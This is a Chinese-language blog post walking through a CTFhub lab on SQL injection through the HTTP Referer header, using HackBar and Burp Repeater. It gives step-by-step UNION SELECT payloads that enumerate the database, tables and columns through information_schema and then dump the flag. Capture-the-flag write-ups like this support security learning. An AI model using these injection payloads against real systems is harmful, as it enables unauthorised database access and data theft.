[CTFhub]CTFhub技能树SQL注入——Refer注入

最新推荐文章于 2024-10-18 20:49:14 发布

Aniya也会哭

最新推荐文章于 2024-10-18 20:49:14 发布

阅读量625

点赞数 2

分类专栏： CTFhub 文章标签： web安全安全 sql 网络安全 linux

本文链接：https://blog.youkuaiyun.com/KKleeeaa/article/details/128153144

版权

2 篇文章

订阅专栏

本文介绍了如何利用Refer注入进行数据获取，通过使用浏览器插件HackBarQuantum发送POST请求来抓取Refer，然后进行SQL注入，依次执行爆库、爆表和爆字段的操作，最终找到并提交Flag。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

提示：本文章仅限学习参考，切勿用于非法用途

一、Refer注入

2.HTTP Referer是header的一部分，当浏览器向web服务器发送请求的时候，一般会带上Referer，告诉服务器该网页是从哪个页面链接过来的，服务器因此可以获得一些信息用于处理。

只有你向服务器提交申请的时候才会带上Refer，我们直接抓包是看不见Refer的

所以我们要向服务器发送一个POST请求来获取它的Refer，这里可以用浏览器插件HackBar Quantum 可以在浏览器的插件里面搜索找到

然后我们随便给他一个POST请求，点击RUN运行提示！！要抓包！！！！！！！！！！

抓包结果如下图

我们可以看到有Refer了然后我们选中全部 Send to Repeater

然后我们利用Refer进行传参

然后发现可以利用Refer进行传参数然后就跟手注操作一样

先判断有无注入点，然后爆库

爆库语句为以下语句

444 union select 1,database()

然后我们爆出库里面的表

 444 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'

然后我们爆出表里面的字段,注意表的名字跟我的可能有不同自己修改为自己的表名哦

444 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='fcavcxbduk'

最后一步就是爆出字段内容啦！！！！

444 union select 1,group_concat(seajrlikrw) from sqli.fcavcxbduk

然后找到Flag啦去提交吧孩子！！！！

感谢收看本人第一次写文章有不足的地方请多多提醒